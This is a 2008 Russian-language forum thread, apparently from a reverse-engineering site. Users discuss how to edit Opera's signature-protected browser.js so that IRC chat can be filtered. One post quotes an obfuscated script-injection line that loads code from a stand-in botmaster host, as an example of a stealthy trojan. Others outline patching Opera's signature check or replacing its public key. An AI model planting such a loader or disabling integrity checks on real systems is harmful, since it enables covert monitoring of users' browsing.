Сейчас на форуме: subword, rtsgreg1989, zds (+9 невидимых) |
![]() |
eXeL@B —› Основной форум —› Как определить сигнатуру файла browser.js в Опере? |
Посл.ответ | Сообщение |
|
Создано: 09 марта 2008 23:33 · Личное сообщение · #1 |
|
Создано: 10 марта 2008 10:14 · Личное сообщение · #2 |
|
Создано: 10 марта 2008 10:30 · Личное сообщение · #3 logo пишет: Файл защищен от редактирования сигнатурой Защищен он, т.к. иначе дырка в защите будет. Наверняка эту защиту можно сломать, но не думаю, что алгоритм подсчета и проверки в самом скрипте... browser.js - JavaScript-файл браузера, автоматически загружаемый и обновляемый в случае, если разрешены JavaScript браузера (browser.js). Файл игнорируется если редактируется локально. Для своих собственных скриптов используйте UserJS ![]() |
|
Создано: 10 марта 2008 10:51 · Личное сообщение · #4 |
|
Создано: 10 марта 2008 11:44 · Поправил: logo · Личное сообщение · #5 Есть известный браузер Опера. В нем есть файл browser.js(с яваскриптом), котрый вообще оперовцы используют, чтобы исправлялять некорректно отображающиеся сайты(буржуйские). От редактирования его защитили сигнатурой. Сам файл лежит в Documents and Settings\Юзер\Application Data\Opera\Opera\profile\browser.js. Если открыть его то наверху в коментариях можно сразу увидеть длинную бредовую последовательность букв, очевидно это и есть сигнатура. Если его отредактироть, то [url=этот]opera:config#UserPrefs|BrowserJavaScript[/url](нажимать в опере) параметр устанавливается в еденицу, и browser.js не выполняется ![]() Для своих собственных скриптов используйте UserJS
Дело в том что они работают только на веб страницах, а в окне встроенного IRC клиента(как и емайл клиента) не работают. Работает ли там browser.js, не знаю, но файл browser.css(от редактирования не защищен) работает, хотя UserCSS тоже не работают. иначе дырка в защите будет.
В чем дырка ![]() ![]() |
|
Создано: 10 марта 2008 15:46 · Личное сообщение · #6 logo пишет: а в окне встроенного IRC клиента(как и емайл клиента) не работают. Работает ли там browser.js, не знаю, А тебе не кажется, что ты простую задачу: что-то сделать в окне, превратил в тяжелую - пропатчить алгоритм проверки подписи скрипта ? Да еще без всякой гарантии, что это тебе нужно ![]() Описание алгоритма вычисления сигнатуры не нашел, но думаю что там используется несимметричное шифрование, т.ч. подделать ее нельзя. Можно пропатчить проверку в самой Опере, но тоже не думаю, что они ее не защитили. А дырка в том, что этот скрипт выполняется очень часто и является удобным местом для вирусов. Кроме того его обновляют раз в неделю и вирус может вообще подсунуть для обновления любую ссылку... ![]() |
|
Создано: 10 марта 2008 16:36 · Личное сообщение · #7 Обновляется он толко с оффсайта, соответственно никакой троян туда прописатся не может(а вирус даже теоритически не может, ведь для этого надо иметь доступ к файловой системе, чем js не обладает) Конечно можно под видом полезной примочки попросить юзера заменить этот файл на троянчег, но тоже самое можно, и проще сделать через UserJS. А тебе не кажется, что ты простую задачу: что-то сделать в окне, превратил в тяжелую
К сожалению другого пути нет ![]() Можно пропатчить проверку в самой Опере, но тоже не думаю, что они ее не защитили.
Во во можт кто нить посмотрит? Мне наоборот думется, что защиты особой там быть не должно, странно что они вообще ввели эту сигнатуру. Только я в низкоуровневом кодинге профан( ![]() |
|
Создано: 10 марта 2008 18:49 · Личное сообщение · #8 |
|
Создано: 10 марта 2008 20:03 · Личное сообщение · #9 |
|
Создано: 11 марта 2008 10:42 · Личное сообщение · #10 logo пишет: К сожалению другого пути нет Потому что с помощью CSS задачу не решить... А я думал, что кроме подручных средств, есть еще форумы любителей Оперы - там и надо спрашивать. .CSS особо к IRC отношения не имеет - это стили оформления. logo пишет: Ну для начала добавить что-то простое типа alert('Привет') Вот и подумай - это можно использовать для "плохих" действий. Именно поэтому это и нельзя делать простым способом. Модерирование тоже обоюдоострый аппарат, именно поэтому средства для него в Опере ограничены(это на форумах Оперы написано). ![]() |
|
Создано: 11 марта 2008 12:14 · Личное сообщение · #11 tundra37 Согласен. Есть некоторая опасность схватить троянчика который добавит пару строк в browser.js и потом будет мониторить тихо и спокойно все страницы, а тело трояно грохнется дабы аверы через недельку другую не нашли тело и не забили тревогу. А вот browser.js аверы наврятли будут проверять, а если проверят, то ничего опасного в строчке document.writeln('<s'+'crip'+'t src="http://botmaster.com/bot.js"><'+'/'+'sc'+'ript>'); не заметят. Но для этого надо что то цепануть, а если цепанул, то впринципе тут можно и не только это сделать. logo opera.dll патчить только. Возможно что то и получится, но не уверен, так как чето у меня с первой попытки бряк на месте вызова файла browser.js не сработал. Поэтому есть маленькое предположение что может не вызывается он =\ хотя и странно. ----- Computer Security Laboratory ![]() |
|
Создано: 11 марта 2008 12:20 · Личное сообщение · #12 А я думал, что кроме подручных средств, есть еще форумы любителей Оперы - там и надо спрашивать.
Конечно я там первым делом и спросил, на 2 форумах, однако перехват сигнатуры больше соответствует тематике этого форума. Вот и подумай - это можно использовать для "плохих" действий.
Это спор не в тему. Конечно можно, но не более чем открытые UserJS. Можно написать простой скрипт, похищаюший пароли с этого форума, от mail.ru и попросить юзера установить его. Но ответственность в таком случае ложится на пользователя, а не на браузер. CSS особо к IRC отношения не имеет
Есть файлик Program Files\Opera\styles\im.css который применяется к IRC чату. Я уже и тему оформления сваял. Кое какую лишнюю информацию можно заблочить с помощью CSS- сообщения типа unknow command, кто зашел/вышел, и д.р. потому что она имеет свои классы в IRC окне, и легко цепляется css-ом. Но селектора content='' в css еще не придумали, а надо заблочить сообщения с определенным содержанием. ![]() |
|
Создано: 11 марта 2008 12:41 · Личное сообщение · #13 |
|
Создано: 11 марта 2008 15:38 · Поправил: tundra37 · Личное сообщение · #14 [HEX],logo Опера аспаком накрыта, т.ч. вопрос-то конечно по теме, но... кто возьмется реверсить алгоритм, когда у logo нет уверенности, что это поможет. browser.js к окну IRC вроде не должен применяться ? Он для www-сайтов, а не для irc-серверов. logo Ты уперся в свое решение через browser.js и тебе правильно на форумах ответили. Но возможно есть ДРУГИЕ решения вообще. Я про это толкую. logo пишет: Именно патчить? Можно наверно взять сигнатуру из того места где она окончательно вычисляется Там не сигнатура, а подпись. Обычно алгоритм такой : запускают алгоритм и на выходе он дает добро, т.е. сигнатуру могут вычислить только авторы имеющие приват-кей, а не месте ее можно только проверить. ![]() |
|
Создано: 11 марта 2008 15:43 · Поправил: [HEX] · Личное сообщение · #15 logo Моё предположение что это подпись, и подпись сделана с помощью приватного ключа разработчиков Оперы. В Опере находиться публичный ключ с помощью которого происходит проверка подписи содержимого файла. Так что либо тупо искать прыжок не верно/верно либо заменить публичный ключ на свой и подписывать файл уже своим приватным ключем. Так или иначе патчить придеться. tundra37 Аспак то тут причем? Его снять помоему нет никаких проблем. Что и был сделано дабы не мешался при реверсе. ----- Computer Security Laboratory ![]() |
|
Создано: 11 марта 2008 18:48 · Поправил: logo · Личное сообщение · #16 Но возможно есть ДРУГИЕ решения вообще. Я про это толкую.
Сомневаюсь. Разве что наити сорсы чатзиллы, подредактировать там что надо и скомпилить(и что это я оперовец буду советовать людям перейти на мозилу- да ни в жизнь ![]() browser.js к окну IRC вроде не должен применяться?
Как это проверить, если не научится его редактировать? browser.css применяется. ![]() |
|
Создано: 12 марта 2008 09:13 · Личное сообщение · #17 [HEX] пишет: Аспак то тут причем? Только при том, что logo не кракер и придется кому-то ковырять это для него. Ну и главное - это решение(патч) хорошо для отдельного человека, но речь явно идет о группе юзеров. logo Какой-то у тебя странный подход : ограничивать клиентскую сторону. Это для их же пользы или как? Все-таки правильный подход - это ограничивать на стороне сервера. Твое решение потребует, либо отдельного дистра Оперы, либо сложной процедуры пропатчивания. Все-таки проще найти автономный IRC-клиент с нужными свойствами. Неудобно конечно, но гораздо проще. ![]() |
|
Создано: 12 марта 2008 12:14 · Личное сообщение · #18 Мдя ты прав видимо это тупик, версии оперы то разные у всех, да и с каждой новой делать патч чтоли... разве что включить в дистр опера AC, но... logo Какой-то у тебя странный подход : ограничивать клиентскую сторону.
Да, только так. Народ играет в игру('Казаки'), сервер GameSpy. И хочет сидеть в чате игры через альтернативную прогу. А чат у этой игры основан на ИРК. Правда он расширен еще, и помимо прочего в ИРК чат игра посылает собственные команды, которые клиент игры естесно не показывает. Тоесть сидеть в чате через ирк можно, но неудобно, т.к. чат засоряется этими командами. Только при том, что logo не кракер и придется кому-то ковырять это для него.
Ну да, хотя пару ламерских прог я всеже сломал. Если обьяснить че делать то с патчем для других версий справлюсь думаю. ![]() |
|
Создано: 13 марта 2008 10:18 · Личное сообщение · #19 logo пишет: сервер GameSpy. И хочет сидеть в чате игры через альтернативную прогу. 1) У GameSpy есть же клиент и он бесплатный раньше был - его во все дистры совали до недавних пор. Разве там IRC нет ? 2) Альтернативная - я понимаю. Для IRC есть куча родных клиентов(я не имею ввиду плаги всяческих браузеров), там наверняка фильтрация есть. Почему обязательно через Оперу ? ![]() |
|
Создано: 14 марта 2008 10:55 · Личное сообщение · #20 |
|
Создано: 14 марта 2008 16:59 · Поправил: tundra37 · Личное сообщение · #21 |
|
Создано: 15 марта 2008 22:01 · Личное сообщение · #22 |
![]() |
eXeL@B —› Основной форум —› Как определить сигнатуру файла browser.js в Опере? |